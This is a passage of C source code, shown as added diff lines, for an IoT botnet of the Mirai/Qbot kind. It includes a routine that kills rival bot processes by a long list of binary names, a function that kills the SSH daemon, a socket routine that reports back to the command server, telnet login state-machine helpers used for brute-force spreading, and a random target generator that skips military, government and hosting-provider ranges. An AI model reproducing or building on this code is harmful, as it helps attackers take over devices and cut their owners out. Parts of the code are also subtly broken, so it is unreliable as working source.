"mipsel", //2+ "sh4", //3+ "x86", //4+ "i686", //5+ "ppc", //6+ "i586", //7+ "i586", //8+ "jackmymips", //9+ "jackmymips64", //10+ "jackmymipsel", //11+ "jackmysh2eb", //12+ "jackmysh2elf", //13+ "jackmysh4", //14+ "jackmyx86", //15+ "jackmyarmv5", //16+ "jackmyarmv4tl", //17+ "jackmyarmv4", //18+ "jackmyarmv6", //19+ "jackmyi686", //20+ "jackmypowerpc", //21+ "jackmypowerpc440fp", //22+ "jackmyi586", //23+ "jackmym68k", //24+ "jackmysparc", //25+ "hackmymips", //26+ "hackmymipsel", //27+ "hackmysh4", //28+ "hackmyx86", //29+ "hackmyarmv6", //30+ "hackmyi686", //31+ "hackmypowerpc", //32+ "hackmyi586", //33+ "hackmym68k", //34+ "hackmysparc", //35+ "arm" //36+ "armv5l" //37+ "armv6l" //38+ "b1", //39+ "b2", //40+ "b3", //41+ "b4", //42+ "b5", //43+ "b6", //44+ "b7", //45+ "b8", //46+ "b9", //47+ "busyboxterrorist", //48+ "DFhxdhdf", //49+ "dvrHelper", //50+ "FDFDHFC", //51+ "FEUB", //52+ "FTUdftui", //53+ "GHfjfgvj", //54+ "jackmyarmv5l", //55+ "jackmyarmv6l", //56+ "jackmyarv6", //57+ "jackmymips", //58+ "jackmymipsel", //59+ "jackmyx86", //60+ "jhUOH", //61+ "JIPJIPJj", //62+ "JIPJuipjh", //63+ "kmyx86_64", //64+ "lolmipsel", //65+ "mips", //66+ "mipsel", //67+ "RYrydry",+ "telarmv6l",+ "telmips", //70+ "telmipsel",+ "telx86",+ "TwoFacearmv61",+ "TwoFacei586",+ "TwoFacei686", //75+ "TwoFacem86k",+ "TwoFacemips",+ "TwoFacemipsel",+ "TwoFacepowerpc",+ "TwoFacesh4", //80+ "TwoFacesparc",+ "TwoFacex86_64",+ "UYyuyioy",+ "wget",+ "x86_64", //85+ "XDzdfxzf",+ "xxb1",+ "xxb2",+ "xxb3",+ "xxb4", //90+ "xxb5",+ "xxb6",+ "xxb7",+ "xxb8",+ "xxb9", //95+ "sh",+ "1",+ "2",+ "3",+ "4", //100+ "5",+ "6",+ "7",+ "8",+ "9", //105+ "10",+ "11",+ "12",+ "13",+ "14", //110+ "15",+ "16",+ "17",+ "18",+ "19", //115+ "20"+ "botmips",+ "botmipsel",+ "botsh4",+ "botx86_64",//120+ "botarmv6l",+ "boti686",+ "botpowerpc",+ "boti586",+ "botm68k",//125+ "botsparc",+ "botarmv4l",+ "botarmv5l",+ "botpowerpc440fp"+ "botmipsfinal", //130+ "botmipselfinal",+ "botsh4final",+ "botx86_64final",+ "botarmv6lfinal",+ "boti686final", //135+ "botpowerpcfinal",+ "boti586final",+ "botm68kfinal",+ "botsparcfinal",+ "botarmv4lfinal", //140+ "botarmv5lfinal",+ "botpowerpc440fpfinal", //142+ "mirai.x86",+ "mirai.mips",+ "mirai.mpsl", //145+ "mirai.arm",+ "mirai.arm5n",+ "mirai.arm7",+ "mirai.ppc",+ "mirai.spc", //150+ "mirai.m68k", //151+ "mirai.sh4", //152+ "miraint.x86",+ "miraint.mips",+ "miraint.mpsl", //155+ "miraint.arm",+ "miraint.arm5n",+ "miraint.arm7",+ "miraint.ppc",+ "miraint.spc", //160+ "miraint.m68k",+ "miraint.sh4" //162+ "bot.x86",+ "bot.mips",+ "bot.mpsl", //165+ "bot.arm",+ "bot.arm5n",+ "bot.arm7",+ "bot.ppc",+ "bot.spc", //170+ "bot.m68k",+ "bot.sh4",+ "botnt.x86",+ "botnt.mips",+ "botnt.mpsl", //175+ "botnt.arm",+ "botnt.arm5n",+ "botnt.arm7",+ "botnt.ppc", //180+ "botnt.spc",+ "botnt.m68k",+ "botnt.sh4" //183+};++/*Bot Killer*/+char buf;+char input[1024];+char output[1024];++void bot_killer()+{+ int i = 0;+ for(i = 0; i < 184; i++) //the condition number must be one higher, then the last number.+ {+ sprintf(buf, "kill -9 %s\r\n", Bot_Killer_Binarys[i]);+ system(buf);+ }+ return 0;+}+void port_closer() {+ //openssh port closer+ system("killall -9 sshd;pkill -9 sshd");+ sprintf(input, "ps -C sshd -o pid=");+ system(input);+ strcpy(input, output);+ sprintf(buf, "kill -9 %s", output);+ system(buf);++}+void init_rand(uint32_t x) {+ int i;+ Q[0] = x;+ Q[1] = x + PHI;+ Q[2] = x + PHI + PHI;+ for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;+}+uint32_t rand_cmwc(void) {+ uint64_t t, a = 18782LL;+ static uint32_t i = 4095;+ uint32_t x, r = 0xfffffffe;+ i = (i + 1) & 4095;+ t = a * Q[i] + c;+ c = (uint32_t)(t >> 32);+ x = t + c;+ if (x < c) {+ x++;+ c++;+ }+ return (Q[i] = r - x);+}+static uint32_t x, y, z, w;+void rand_init(void) {+ x = time(NULL);+ y = getpid() ^ getppid();+ z = clock();+ w = z ^ y;+}+uint32_t rand_next(void) {+ uint32_t t = x;+ t ^= t << 11;+ t ^= t >> 8;+ x = y; y = z; z = w;+ w ^= w >> 19;+ w ^= t;+ return w;+}+void rand_str(char *str, int len) {+ while (len > 0) {+ if (len >= 4) {+ *((uint32_t *)str) = rand_next();+ str += sizeof (uint32_t);+ len -= sizeof (uint32_t);+ }+ else if (len >= 2) {+ *((uint16_t *)str) = rand_next() & 0xFFFF;+ str += sizeof (uint16_t);+ len -= sizeof (uint16_t);+ } else {+ *str++ = rand_next() & 0xFF;+ len--;+ }+ }+}+void rand_alphastr(uint8_t *str, int len) {+ const char alphaset[] = "yvr4rxgp60fgvmeerwaxqbum8aea9z4"; //31 chars+ while (len > 0) {+ if (len >= sizeof (uint32_t)) {+ int i;+ uint32_t entropy = rand_next();+ for (i = 0; i < sizeof (uint32_t); i++) {+ uint8_t tmp = entropy & 0xff;+ entropy = entropy >> 8;+ tmp = tmp >> 3;+ *str++ = alphaset[tmp];+ }+ len -= sizeof (uint32_t);+ } else {+ *str++ = rand_next() % (sizeof (alphaset));+ len--;+ }+ }+}+int util_strlen(char *str) {+ int c = 0;+ while (*str++ != 0)+ c++;+ return c;+}+void util_memcpy(void *dst, void *src, int len) {+ char *r_dst = (char *)dst;+ char *r_src = (char *)src;+ while (len--)+ *r_dst++ = *r_src++;+}+int util_strcpy(char *dst, char *src) {+ int l = util_strlen(src);+ util_memcpy(dst, src, l + 1);+ return l;+}+static void printchar(unsigned char **str, int c) {+ if (str) {+ **str = c;+ ++(*str);+ }+ else (void)write(1, &c, 1);+}+unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd) {+ int got = 1, total = 0;+ while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }+ return got == 0 ? NULL : buffer;+}+static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {+ register int pc = 0, padchar = ' ';+ if (width > 0) {+ register int len = 0;+ register const unsigned char *ptr;+ for (ptr = string; *ptr; ++ptr) ++len;+ if (len >= width) width = 0;+ else width -= len;+ if (pad & PAD_ZERO) padchar = '0';+ }+ if (!(pad & PAD_RIGHT)) {+ for ( ; width > 0; --width) {+ printchar (out, padchar);+ ++pc;+ }+ }+ for ( ; *string ; ++string) {+ printchar (out, *string);+ ++pc;+ }+ for ( ; width > 0; --width) {+ printchar (out, padchar);+ ++pc;+ }+ return pc;+}+static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {+ unsigned char print_buf[PRINT_BUF_LEN];+ register unsigned char *s;+ register int t, neg = 0, pc = 0;+ register unsigned int u = i;+ if (i == 0) {+ print_buf[0] = '0';+ print_buf[1] = '\0';+ return prints (out, print_buf, width, pad);+ }+ if (sg && b == 10 && i < 0) {+ neg = 1;+ u = -i;+ }+ s = print_buf + PRINT_BUF_LEN-1;+ *s = '\0';+ while (u) {+ t = u % b;+ if( t >= 10 )+ t += letbase - '0' - 10;+ *--s = t + '0';+ u /= b;+ }+ if (neg) {+ if( width && (pad & PAD_ZERO) ) {+ printchar (out, '-');+ ++pc;+ --width;+ } else {+ *--s = '-';+ }+ }+ return pc + prints (out, s, width, pad);+}+static int print(unsigned char **out, const unsigned char *format, va_list args ) {+ register int width, pad;+ register int pc = 0;+ unsigned char scr[2];+ for (; *format != 0; ++format) {+ if (*format == '%') {+ ++format;+ width = pad = 0;+ if (*format == '\0') break;+ if (*format == '%') goto out;+ if (*format == '-') {+ ++format;+ pad = PAD_RIGHT;+ }+ while (*format == '0') {+ ++format;+ pad |= PAD_ZERO;+ }+ for ( ; *format >= '0' && *format <= '9'; ++format) {+ width *= 10;+ width += *format - '0';+ }+ if( *format == 's' ) {+ register char *s = (char *)va_arg( args, intptr_t );+ pc += prints (out, s?s:"(null)", width, pad);+ continue;+ }+ if( *format == 'd' ) {+ pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');+ continue;+ }+ if( *format == 'x' ) {+ pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');+ continue;+ }+ if( *format == 'X' ) {+ pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');+ continue;+ }+ if( *format == 'u' ) {+ pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');+ continue;+ }+ if( *format == 'c' ) {+ scr[0] = (unsigned char)va_arg( args, int );+ scr[1] = '\0';+ pc += prints (out, scr, width, pad);+ continue;+ }+ } else {+ out:+ printchar (out, *format);+ ++pc;+ }+ }+ if (out) **out = '\0';+ va_end( args );+ return pc;+}+int szprintf(unsigned char *out, const unsigned char *format, ...) {+ va_list args;+ va_start( args, format );+ return print( &out, format, args );+}+int botnetPrint(int sock, char *formatStr, ...) {+ unsigned char *textBuffer = malloc(2048);+ memset(textBuffer, 0, 2048);+ char *orig = textBuffer;+ va_list args;+ va_start(args, formatStr);+ print(&textBuffer, formatStr, args);+ va_end(args);+ orig[strlen(orig)] = '\n';+ int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);+ free(orig);+ return q;+}+void trim(char *str) {+ int i;+ int begin = 0;+ int end = strlen(str) - 1;+ while (isspace(str[begin])) begin++;+ while ((end >= begin) && isspace(str[end])) end--;+ for (i = begin; i <= end; i++) str[i - begin] = str[i];+ str[i - begin] = '\0';+}+int getHost(unsigned char *toGet, struct in_addr *i) {+ struct hostent *h;+ if((i->s_addr = inet_addr(toGet)) == -1) return 1;+ return 0;+}+int recvLine(int socket, unsigned char *buf, int bufsize) {+ memset(buf, 0, bufsize);+ fd_set myset;+ struct timeval tv;+ tv.tv_sec = 30;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(socket, &myset);+ int selectRtn, retryCount;+ if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {+ while(retryCount < 10) {+ tv.tv_sec = 30;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(socket, &myset);+ if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {+ retryCount++;+ continue;+ }+ break;+ }+ }+ unsigned char tmpchr;+ unsigned char *cp;+ int count = 0;+ cp = buf;+ while(bufsize-- > 1) {+ if(recv(KadenCommStock, &tmpchr, 1, 0) != 1) {+ *cp = 0x00;+ return -1;+ }+ *cp++ = tmpchr;+ if(tmpchr == '\n') break;+ count++;+ }+ *cp = 0x00;+ return count;+}+int connectTimeout(int fd, char *host, int port, int timeout) {+ struct sockaddr_in dest_addr;+ fd_set myset;+ struct timeval tv;+ socklen_t lon;+ int valopt;+ long arg = fcntl(fd, F_GETFL, NULL);+ arg |= O_NONBLOCK;+ fcntl(fd, F_SETFL, arg);+ dest_addr.sin_family = AF_INET;+ dest_addr.sin_port = htons(port);+ if(getHost(host, &dest_addr.sin_addr)) return 0;+ memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);+ int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));+ if (res < 0) {+ if (errno == EINPROGRESS) {+ tv.tv_sec = timeout;+ tv.tv_usec = 0;+ FD_ZERO(&myset);+ FD_SET(fd, &myset);+ if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {+ lon = sizeof(int);+ getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);+ if (valopt) return 0;+ }+ else return 0;+ }+ else return 0;+ }+ arg = fcntl(fd, F_GETFL, NULL);+ arg &= (~O_NONBLOCK);+ fcntl(fd, F_SETFL, arg);+ return 1;+}+int listFork() {+ uint32_t parent, *newpids, i;+ parent = fork();+ if (parent <= 0) return parent;+ numpids++;+ newpids = (uint32_t*)malloc((numpids + 1) * 4);+ for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];+ newpids[numpids - 1] = parent;+ free(pids);+ pids = newpids;+ return parent;+}+struct telstate_t {+ int fd;+ unsigned int ip;+ unsigned char state;+ unsigned char complete;+ unsigned char usernameInd;+ unsigned char passwordInd;+ unsigned char tempDirInd;+ unsigned int totalTimeout;+ unsigned short bufUsed;+ char *sockbuf;+};+const char* get_telstate_host(struct telstate_t* telstate) {+ struct in_addr in_addr_ip;+ in_addr_ip.s_addr = telstate->ip;+ return inet_ntoa(in_addr_ip);+}+int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {+ int num_bytes, i;+ memset(buffer, 0, buf_size);+ num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);+ if(buffer[0] == 0xFF) {+ negotiate(fd, buffer, 3);+ }+ if(contains_string(buffer, strings)) {+ return 1;+ }+ return 0;+}+int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {+ fd_set read_set;+ struct timeval tv;+ tv.tv_sec = 0;+ tv.tv_usec = timeout_usec;+ FD_ZERO(&read_set);+ FD_SET(fd, &read_set);+ if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)+ return 0;+ return recv(fd, buffer, buf_size, 0);+}+void advance_state(struct telstate_t* telstate, int new_state) {+ if(new_state == 0) {+ close(telstate->fd);+ }+ telstate->totalTimeout = 0;+ telstate->state = new_state;+ memset((telstate->sockbuf), 0, BUFFER_SIZE);+}+void reset_telstate(struct telstate_t* telstate) {+ advance_state(telstate, 0);+ telstate->complete = 1;+}+int contains_success(char* buffer) {+ return contains_string(buffer, successes);+}+int contains_fail(char* buffer) {+ return contains_string(buffer, fails);+}+int contains_response(char* buffer) {+ return contains_success(buffer) || contains_fail(buffer);+}+int contains_string(char* buffer, char** strings) {+ int num_strings = 0, i = 0;+ for(num_strings = 0; strings[++num_strings] != 0; );+ for(i = 0; i < num_strings; i++) {+ if(strcasestr(buffer, strings[i])) {+ return 1;+ }+ }+ return 0;+}+int negotiate(int sock, unsigned char *buf, int len) {+ unsigned char c;+ switch (buf[1]) {+ case CMD_IAC: return 0;+ case CMD_WILL:+ case CMD_WONT:+ case CMD_DO:+ case CMD_DONT:+ c = CMD_IAC;+ send(sock, &c, 1, MSG_NOSIGNAL);+ if (CMD_WONT == buf[1]) c = CMD_DONT;+ else if (CMD_DONT == buf[1]) c = CMD_WONT;+ else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);+ else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);+ send(sock, &c, 1, MSG_NOSIGNAL);+ send(sock, &(buf[2]), 1, MSG_NOSIGNAL);+ break;+ default:+ break;+ }+ return 0;+}+int matchPrompt(char *bufStr) {+ char *prompts = ":>%$#\0";+ int bufLen = strlen(bufStr);+ int i, q = 0;+ for(i = 0; i < strlen(prompts); i++) {+ while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;+ if(*(bufStr + bufLen - q) == prompts[i]) return 1;+ }+ return 0;+}+int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex) {+ int bufferUsed = initialIndex, got = 0, found = 0;+ fd_set myset;+ struct timeval tv;+ tv.tv_sec = timeout;+ tv.tv_usec = timeoutusec;+ unsigned char *initialRead = NULL;+ while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0)) {+ FD_ZERO(&myset);+ FD_SET(fd, &myset);+ if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;+ initialRead = buffer + bufferUsed;+ got = recv(fd, initialRead, 1, 0);+ if(got == -1 || got == 0) return 0;+ bufferUsed += got;+ if(*initialRead == 0xFF) {+ got = recv(fd, initialRead + 1, 2, 0);+ if(got == -1 || got == 0) return 0;+ bufferUsed += got;+ if(!negotiate(fd, initialRead, 3)) return 0;+ } else {+ if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }+ }+ }+ if(found) return 1;+ return 0;+}+in_addr_t GIP() { //Like my ipstates?+ static uint8_t ipState[4] = {0};+ ipState[0] = rand() % 223;+ ipState[1] = rand() % 255;+ ipState[2] = rand() % 255;+ ipState[3] = rand() % 255;+ while(+ (ipState[0] == 127) || //Loopback+ (ipState[0] == 0) || //Invalid address space+ (ipState[0] == 3) || //General Electric Company+ (ipState[0] == 15) || //Hewlett-Packard Company+ (ipState[0] == 56) || //US Postal Service+ (ipState[0] == 10) || //Internal network+ (ipState[0] == 25) || //Some more+ (ipState[0] == 49) || //Some more+ (ipState[0] == 50) || //Some more+ (ipState[0] == 137) || //Some more+ (ipState[0] == 6) || //Department of Defense+ (ipState[0] == 7) || //Department of Defense+ (ipState[0] == 11) || //Department of Defense+ (ipState[0] == 21) || //Department of Defense+ (ipState[0] == 22) || //Department of Defense+ (ipState[0] == 26) || //Department of Defense+ (ipState[0] == 28) || //Department of Defense+ (ipState[0] == 29) || //Department of Defense+ (ipState[0] == 30) || //Department of Defense+ (ipState[0] == 33) || //Department of Defense+ (ipState[0] == 55) || //Department of Defense+ (ipState[0] == 214) || //Department of Defense+ (ipState[0] == 215) || //Department of Defense+ (ipState[0] == 192 && ipState[1] == 168) || //Internal network+ (ipState[0] == 146 && ipState[1] == 17) || //Internal network+ (ipState[0] == 146 && ipState[1] == 80) || //IANA NAT reserved+ (ipState[0] == 146 && ipState[1] == 98) || //IANA NAT reserved+ (ipState[0] == 146 && ipState[1] == 154) || //IANA Special use+ (ipState[0] == 147 && ipState[1] == 159) || //Some more+ (ipState[0] == 148 && ipState[1] == 114) || //Some more+ (ipState[0] == 150 && ipState[1] == 125) || //Some more+ (ipState[0] == 150 && ipState[1] == 133) || //Some more+ (ipState[0] == 150 && ipState[1] == 144) || //Some more+ (ipState[0] == 150 && ipState[1] == 149) || //Some more+ (ipState[0] == 150 && ipState[1] == 157) || //Some more+ (ipState[0] == 150 && ipState[1] == 184) || //Some more+ (ipState[0] == 150 && ipState[1] == 190) || //Some more+ (ipState[0] == 150 && ipState[1] == 196) || //Some more+ (ipState[0] == 152 && ipState[1] == 82) || //Some more+ (ipState[0] == 152 && ipState[1] == 229) || //Some more+ (ipState[0] == 157 && ipState[1] == 202) || //Some more+ (ipState[0] == 157 && ipState[1] == 217) || //Some more+ (ipState[0] == 161 && ipState[1] == 124) || //Some more+ (ipState[0] == 162 && ipState[1] == 32) || //Some more+ (ipState[0] == 155 && ipState[1] == 96) || //Some more+ (ipState[0] == 155 && ipState[1] == 149) || //Some more+ (ipState[0] == 155 && ipState[1] == 155) || //Some more+ (ipState[0] == 155 && ipState[1] == 178) || //Some more+ (ipState[0] == 164 && ipState[1] == 158) || //Some more+ (ipState[0] == 156 && ipState[1] == 9) || //Some more+ (ipState[0] == 167 && ipState[1] == 44) || //Some more+ (ipState[0] == 168 && ipState[1] == 68) || //Some more+ (ipState[0] == 168 && ipState[1] == 85) || //Some more+ (ipState[0] == 168 && ipState[1] == 102) || //Some more+ (ipState[0] == 203 && ipState[1] == 59) || //Some more+ (ipState[0] == 204 && ipState[1] == 34) || //Some more+ (ipState[0] == 207 && ipState[1] == 30) || //Some more+ (ipState[0] == 117 && ipState[1] == 55) || //Some more+ (ipState[0] == 117 && ipState[1] == 56) || //Some more+ (ipState[0] == 80 && ipState[1] == 235) || //Some more+ (ipState[0] == 207 && ipState[1] == 120) || //Some more+ (ipState[0] == 209 && ipState[1] == 35) || //Some more+ (ipState[0] == 64 && ipState[1] == 70) || //Some more+ (ipState[0] == 172 && ipState[1] >= 16 && ipState[1] < 32) || //Some more+ (ipState[0] == 100 && ipState[1] >= 64 && ipState[1] < 127) || //Some more+ (ipState[0] == 169 && ipState[1] == 254) || //Some more+ (ipState[0] == 198 && ipState[1] >= 18 && ipState[1] < 20) || //Some more+ (ipState[0] == 64 && ipState[1] >= 69 && ipState[1] < 227) || //Some more+ (ipState[0] == 128 && ipState[1] >= 35 && ipState[1] < 237) || //Some more+ (ipState[0] == 129 && ipState[1] >= 22 && ipState[1] < 255) || //Some more+ (ipState[0] == 130 && ipState[1] >= 40 && ipState[1] < 168) || //Some more+ (ipState[0] == 131 && ipState[1] >= 3 && ipState[1] < 251) || //Some more+ (ipState[0] == 132 && ipState[1] >= 3 && ipState[1] < 251) || //Some more+ (ipState[0] == 134 && ipState[1] >= 5 && ipState[1] < 235) || //Some more+ (ipState[0] == 136 && ipState[1] >= 177 && ipState[1] < 223) || //Some more+ (ipState[0] == 138 && ipState[1] >= 13 && ipState[1] < 194) || //Some more+ (ipState[0] == 139 && ipState[1] >= 31 && ipState[1] < 143) || //Some more+ (ipState[0] == 140 && ipState[1] >= 1 && ipState[1] < 203) || //Some more+ (ipState[0] == 143 && ipState[1] >= 45 && ipState[1] < 233) || //Some more+ (ipState[0] == 144 && ipState[1] >= 99 && ipState[1] < 253) || //Some more+ (ipState[0] == 146 && ipState[1] >= 165 && ipState[1] < 166) || //Some more+ (ipState[0] == 147 && ipState[1] >= 35 && ipState[1] < 43) || //Some more+ (ipState[0] == 147 && ipState[1] >= 103 && ipState[1] < 105) || //Some more+ (ipState[0] == 147 && ipState[1] >= 168 && ipState[1] < 170) || //Some more+ (ipState[0] == 147 && ipState[1] >= 198 && ipState[1] < 200) || //Some more+ (ipState[0] == 147 && ipState[1] >= 238 && ipState[1] < 255) || //Some more+ (ipState[0] == 150 && ipState[1] >= 113 && ipState[1] < 115) || //Some more+ (ipState[0] == 152 && ipState[1] >= 151 && ipState[1] < 155) || //Some more+ (ipState[0] == 153 && ipState[1] >= 21 && ipState[1] < 32) || //Some more+ (ipState[0] == 155 && ipState[1] >= 5 && ipState[1] < 10) || //Some more+ (ipState[0] == 155 && ipState[1] >= 74 && ipState[1] < 89) || //Some more+ (ipState[0] == 155 && ipState[1] >= 213 && ipState[1] < 222) || //Some more+ (ipState[0] == 157 && ipState[1] >= 150 && ipState[1] < 154) || //Some more+ (ipState[0] == 158 && ipState[1] >= 1 && ipState[1] < 21) || //Some more+ (ipState[0] == 158 && ipState[1] >= 235 && ipState[1] < 247) || //Some more+ (ipState[0] == 159 && ipState[1] >= 120 && ipState[1] < 121) || //Some more+ (ipState[0] == 160 && ipState[1] >= 132 && ipState[1] < 151) || //Some more+ (ipState[0] == 64 && ipState[1] >= 224 && ipState[1] < 227) || //Some more+ (ipState[0] == 162 && ipState[1] >= 45 && ipState[1] < 47) || //CIA+ (ipState[0] == 163 && ipState[1] >= 205 && ipState[1] < 207) || //NASA Kennedy Space Center+ (ipState[0] == 164 && ipState[1] >= 45 && ipState[1] < 50) || //NASA Kennedy Space Center+ (ipState[0] == 164 && ipState[1] >= 217 && ipState[1] < 233) || //NASA Kennedy Space Center+ (ipState[0] == 169 && ipState[1] >= 252 && ipState[1] < 254) || //U.S. Department of State+ (ipState[0] == 199 && ipState[1] >= 121 && ipState[1] < 254) || //Naval Air Systems Command, VA+ (ipState[0] == 205 && ipState[1] >= 1 && ipState[1] < 118) || //Department of the Navy, Space and Naval Warfare System Command, Washington DC - SPAWAR+ (ipState[0] == 207 && ipState[1] >= 60 && ipState[1] < 62) || //FBI controlled Linux servers & IPs/IP-Ranges+ (ipState[0] == 104 && ipState[1] >= 16 && ipState[1] < 31) || //Cloudflare+ (ipState[0] == 188 && ipState[1] == 166) || //Digital Ocean+ (ipState[0] == 188 && ipState[1] == 226) || //Digital Ocean+ (ipState[0] == 159 && ipState[1] == 203) || //Digital Ocean+ (ipState[0] == 162 && ipState[1] == 243) || //Digital Ocean+ (ipState[0] == 45 && ipState[1] == 55) || //Digital Ocean+ (ipState[0] == 178 && ipState[1] == 62) || //Digital Ocean+ (ipState[0] == 104 && ipState[1] == 131) || //Digital Ocean+ (ipState[0] == 104 && ipState[1] == 236) || //Digital Ocean+ (ipState[0] == 107 && ipState[1] == 170) || //Digital Ocean+ (ipState[0] == 138 && ipState[1] == 197) || //Digital Ocean+ (ipState[0] == 138 && ipState[1] == 68) || //Digital Ocean+ (ipState[0] == 139 && ipState[1] == 59) || //Digital Ocean+ (ipState[0] == 146 && ipState[1] == 185 && ipState[2] >= 128 && ipState[2] < 191) || //Digital Ocean+ (ipState[0] == 163 && ipState[1] == 47 && ipState[2] >= 10 && ipState[2] < 11) || //Digital Ocean+ (ipState[0] == 174 && ipState[1] == 138 && ipState[2] >= 1 && ipState[2] < 127) || //Digital Ocean+ (ipState[0] == 192 && ipState[1] == 241 && ipState[2] >= 128 && ipState[2] < 255) || //Digital Ocean+ (ipState[0] == 198 && ipState[1] == 199 && ipState[2] >= 64 && ipState[2] < 127) || //Digital Ocean+ (ipState[0] == 198 && ipState[1] == 211 && ipState[2] >= 96 && ipState[2] < 127) || //Digital Ocean+ (ipState[0] == 207 && ipState[1] == 154 && ipState[2] >= 192 && ipState[2] < 255) || //Digital Ocean+ (ipState[0] == 37 && ipState[1] == 139 && ipState[2] >= 1 && ipState[2] < 31) || //Digital Ocean+ (ipState[0] == 67 && ipState[1] == 207 && ipState[2] >= 64 && ipState[2] < 95) || //Digital Ocean+ (ipState[0] == 67 && ipState[1] == 205 && ipState[2] >= 128 && ipState[2] < 191) || //Digital Ocean+ (ipState[0] == 80 && ipState[1] == 240 && ipState[2] >= 128 && ipState[2] < 143) || //Digital Ocean+ (ipState[0] == 82 && ipState[1] == 196 && ipState[2] >= 1 && ipState[2] < 15) || //Digital Ocean+ (ipState[0] == 95 && ipState[1] == 85 && ipState[2] >= 8 && ipState[2] < 63) || //Digital Ocean+ (ipState[0] == 64 && ipState[1] == 237 && ipState[2] >= 32 && ipState[2] < 43) || //Choopa & Vultr+ (ipState[0] == 185 && ipState[1] == 92 && ipState[2] >= 220 && ipState[2] < 223) || //Choopa & Vultr+ (ipState[0] == 104 && ipState[1] == 238 && ipState[2] >= 128 && ipState[2] < 191) || //Choopa & Vultr+ (ipState[0] == 209 && ipState[1] == 222 && ipState[2] >= 1 && ipState[2] < 31) || //Choopa & Vultr+ (ipState[0] == 208 && ipState[1] == 167 && ipState[2] >= 232 && ipState[2] < 252) || //Choopa & Vultr+ (ipState[0] == 66 && ipState[1] == 55 && ipState[2] >= 128 && ipState[2] < 159) || //Choopa & Vultr+ (ipState[0] == 45 && ipState[1] == 63 && ipState[2] >= 1 && ipState[2] < 127) || //Choopa & Vultr+ (ipState[0] == 216 && ipState[1] == 237 && ipState[2] >= 128 && ipState[2] < 159) || //Choopa & Vultr+ (ipState[0] == 108 && ipState[1] == 61) || //Choopa & Vultr+ (ipState[0] == 45 && ipState[1] == 76) || //Choopa & Vultr+ (ipState[0] == 185 && ipState[1] == 11 && ipState[2] >= 144 && ipState[2] < 148) || //Blazingfast & Nforce+ (ipState[0] == 185 && ipState[1] == 56 && ipState[2] >= 21 && ipState[2] < 23) || //Blazingfast & Nforce+ (ipState[0] == 185 && ipState[1] == 61 && ipState[2] >= 136 && ipState[2] < 139) || //Blazingfast & Nforce+ (ipState[0] == 185 && ipState[1] == 62 && ipState[2] >= 187 && ipState[2] < 191) || //Blazingfast & Nforce+ (ipState[0] == 66 && ipState[1] == 150 && ipState[2] >= 120 && ipState[2] < 215) || //Blazingfast & Nforce+ (ipState[0] == 66 && ipState[1] == 151 && ipState[2] >= 137 && ipState[2] < 139) || //Blazingfast & Nforce+ (ipState[0] == 64 && ipState[1] == 94 && ipState[2] >= 237 && ipState[2] < 255) || //Blazingfast & Nforce+ (ipState[0] == 63 && ipState[1] == 251 && ipState[2] >= 19 && ipState[2] < 21) || //Blazingfast & Nforce+ (ipState[0] == 70 && ipState[1] == 42 && ipState[2] >= 73 && ipState[2] < 75) || //Blazingfast & Nforce+ (ipState[0] == 74 && ipState[1] == 91 && ipState[2] >= 113 && ipState[2] < 115) || //Blazingfast & Nforce+ (ipState[0] == 74 && ipState[1] == 201 && ipState[2] >= 56 && ipState[2] < 58) || //Blazingfast & Nforce+ (ipState[0] == 188 && ipState[1] == 209 && ipState[2] >= 48 && ipState[2] < 53) || //Blazingfast & Nforce+ (ipState[0] == 188 && ipState[1] == 165) || //OVH+ (ipState[0] == 149 && ipState[1] == 202) || //OVH+ (ipState[0] == 151 && ipState[1] == 80) || //OVH+ (ipState[0] == 164 && ipState[1] == 132) || //OVH+ (ipState[0] == 176 && ipState[1] == 31) || //OVH+ (ipState[0] == 167 && ipState[1] == 114) || //OVH+ (ipState[0] == 178 && ipState[1] == 32) || //OVH+ (ipState[0] == 178 && ipState[1] == 33) || //OVH+ (ipState[0] == 37 && ipState[1] == 59) || //OVH+ (ipState[0] == 37 && ipState[1] == 187) || //OVH+ (ipState[0] == 46 && ipState[1] == 105) || //OVH+ (ipState[0] == 51 && ipState[1] == 254) || //OVH+ (ipState[0] == 51 && ipState[1] == 255) || //OVH+ (ipState[0] == 5 && ipState[1] == 135) || //OVH+ (ipState[0] == 5 && ipState[1] == 196) || //OVH+ (ipState[0] == 5 && ipState[1] == 39) || //OVH+ (ipState[0] == 91 && ipState[1] == 134) || //OVH+ (ipState[0] == 104 && ipState[1] == 200 && ipState[2] >= 128 && 